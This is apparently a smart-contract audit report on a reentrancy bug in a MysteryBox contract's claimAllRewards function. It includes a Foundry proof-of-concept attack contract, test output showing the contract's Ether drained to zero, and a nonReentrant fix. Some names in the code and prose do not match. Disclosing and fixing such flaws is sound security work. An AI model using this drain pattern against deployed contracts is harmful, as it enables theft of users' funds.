Summary
The 'claimAllReward' function use 'call' ,This function will execute attack contract fallback function,So contract could be lost all asset.
Vulnerability Details
Below code in 'claimAllReward' function will call attack contract fallback, attack contract can successfully recall 'claimSingleReward' function. The 'claimAllReward' function can be execute many times until asset is empty.
(bool success,) = payable(msg.sender).call{value: totalValue}("");
Impact
proof of concepts
contract MysteryBoxClaimAllAttack is Test {
MysteryBox mysteryBox;
address user3 = address(0x2f);
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
}
function Attack() public {
console.log("Attack contract balance", address(this).balance);
mysteryBox.claimAllRewards();
console.log("Attack contract balance", address(this).balance);
console.log("MysteryBox balance", address(mysteryBox).balance);
}
receive() external payable {
console.log("Attack contract balance ", address(this).balance);
console.log("MysteryBox balance", address(mysteryBox).balance);
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimAllRewards();
}
}
}
contract ContractClaimAllTest is Test {
MysteryBox mysteryBox;
MysteryBoxAttack attack;
address user1 = address(0x1);
address user3 = address(0x2f);
address user4 = address(0x4);
function setUp() public {
mysteryBox = new MysteryBox();
attack = new MysteryBoxAttack(address(mysteryBox));
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.stopPrank();
vm.deal(user4, 1 ether);
vm.startPrank(user4);
mysteryBox.buyBox{value: 0.1 ether}();
vm.stopPrank();
vm.deal(user3, 1 ether);
vm.startPrank(user3);
mysteryBox.buyBox{value: 0.1 ether}();
console.log("User Buy box");
console.log(
"After buy box, MysteryBox balance",
address(mysteryBox).balance
);
mysteryBox.openBox();
console.log("User Open box");
assertEq(mysteryBox.boxesOwned(user3), 0);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console.log("User rewards name:",rewards[0].name);
console.log("User rewards value:",rewards[0].value);
mysteryBox.transferReward(address(attack),0);
console.log("User reward transfer to attack contract");
vm.stopPrank();
}
function testClaimAllReentrancy() public {
attack.Attack();
}
}
2024-09-mystery-box % forge test --match-test testClaimAllReentrancy -vvv
[⠊] Compiling...
[⠊] Compiling 2 files with Solc 0.8.21
[⠒] Solc 0.8.21 finished in 1.97s
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:ContractClaimAllTest
[PASS] testClaimAllReentrancy() (gas: 50085)
Logs:
User Buy box
After buy box, MysteryBox balance 300000000000000000
User Open box
User rewards name: Bronze Coin
User rewards value: 100000000000000000
User reward transfer to attack contract
Attack contract balance 0
Attack contract balance 100000000000000000
MysteryBox balance 200000000000000000
Attack contract balance 200000000000000000
MysteryBox balance 100000000000000000
Attack contract balance 300000000000000000
MysteryBox balance 0
Attack contract balance 300000000000000000
MysteryBox balance 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.88ms (771.71µs CPU time)
Ran 1 test suite in 193.57ms (8.88ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manul review
Recommendations
Add reentrant lock.
contract MysteryBox {
address public owner;
uint256 public boxPrice;
mapping(address => uint256) public boxesOwned;
mapping(address => Reward[]) public rewardsOwned;
Reward[] public rewardPool;
uint256 public constant SEEDVALUE = 0.1 ether;
struct Reward {
string name;
uint256 value;
}
+ bool internal locked;
+ modifier nonReentrant() {
+ require(!locked, "No re-entrancy");
+ locked = true;
+ _;
+ locked = false;
+ }
- function claimAllRewards() public {
+ function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
